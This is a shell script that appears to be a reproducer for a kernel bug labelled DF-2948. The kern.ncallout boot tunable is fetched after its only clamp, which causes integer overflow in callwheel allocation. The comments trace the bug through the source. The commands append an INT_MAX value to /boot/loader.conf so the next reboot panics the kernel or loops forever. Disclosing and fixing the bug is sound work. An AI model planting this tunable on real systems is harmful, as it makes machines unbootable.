#!/bin/sh
# DF-2948 trigger — plant the unclamped kern.ncallout boot tunable.
#
# sys/kern/subr_param.c:327-330:
#     ncallout = 16 + maxproc + maxfiles;
#     if (ncallout > 5*60*hz)
#         ncallout = 5*60*hz;
#     TUNABLE_INT_FETCH("kern.ncallout", &ncallout);   <-- fetched AFTER the
#                                                        only clamp; no
#                                                        bounds at all
#
# Consumer sys/kern/kern_timeout.c:374-413 (swi_softclock_setup):
#     int target = ncallout / ncpus + 16;              <-- int arithmetic
#     cwheelsize = 1;
#     while (cwheelsize < target) cwheelsize <<= 1;    <-- signed shift can
#                                                          overflow on <=4-cpu
#                                                          boxes (1<<31)
#     int wheel_sz = sizeof(*sc->callwheel) * cwheelsize;   <-- 24 * 2^30 =
#         25769803776, truncated to int 0 (mod 2^32)
#     sc->callwheel = kmem_alloc3(kernel_map, wheel_sz /* 0 */, ...);
#     memset(sc->callwheel, 0, wheel_sz);
#     for (i = 0; i < cwheelsize; ++i)                 <-- 2^30 iterations of
#         spin_init/TAILQ_INIT on the 0-byte allocation  OOB init writes
#
# sizeof(struct wheel) = spinlock(8) + TAILQ_HEAD(16) = 24 on x86_64.
#
# On this 6-vCPU guest, kern.ncallout=2147483647 (INT_MAX) gives
# target = INT_MAX/6+16 = 357913966, cwheelsize = 2^30, wheel_sz = 0:
# the 6 per-CPU kmem_alloc3(kernel_map, 0) calls collide and the kernel
# panics with 'vm_map_entry_link: dup addr' before the init loop can stomp
# ~25 GB of kernel VA (the latent outcome on boxes where the zero-size
# allocation path differs).  On 1-2 vCPU boxes the doubling loop itself
# overflows 1<<31 -> negative -> 0 -> infinite boot loop.
#
# Distinct from DF-0174 (ncallout overflow *via unbounded kern.maxfiles*):
# the direct kern.ncallout tunable bypasses every clamp because the fetch
# happens after them; clamping maxfiles alone cannot fix this path, and the
# sink here is the cwheelsize/wheel_sz int math in kern_timeout.c.
#
# Trust boundary: /boot/loader.conf (root/loader prompt) — boot-time DoS.
#
# SETUP (in guest, as root):
cp /boot/loader.conf /boot/loader.conf.df2948bak
printf 'kern.ncallout="2147483647"\n' >> /boot/loader.conf
sync

# RUN (in guest, as root):
#     shutdown -r now
#
# EXPECTED: boot dies right after "Initialize MI interrupts for 6 cpus":
#     panic: vm_map_entry_link: dup addr map 0x... ent 0x...
#     Trace beginning at frame ...
#     Debugger("panic")
#     db>
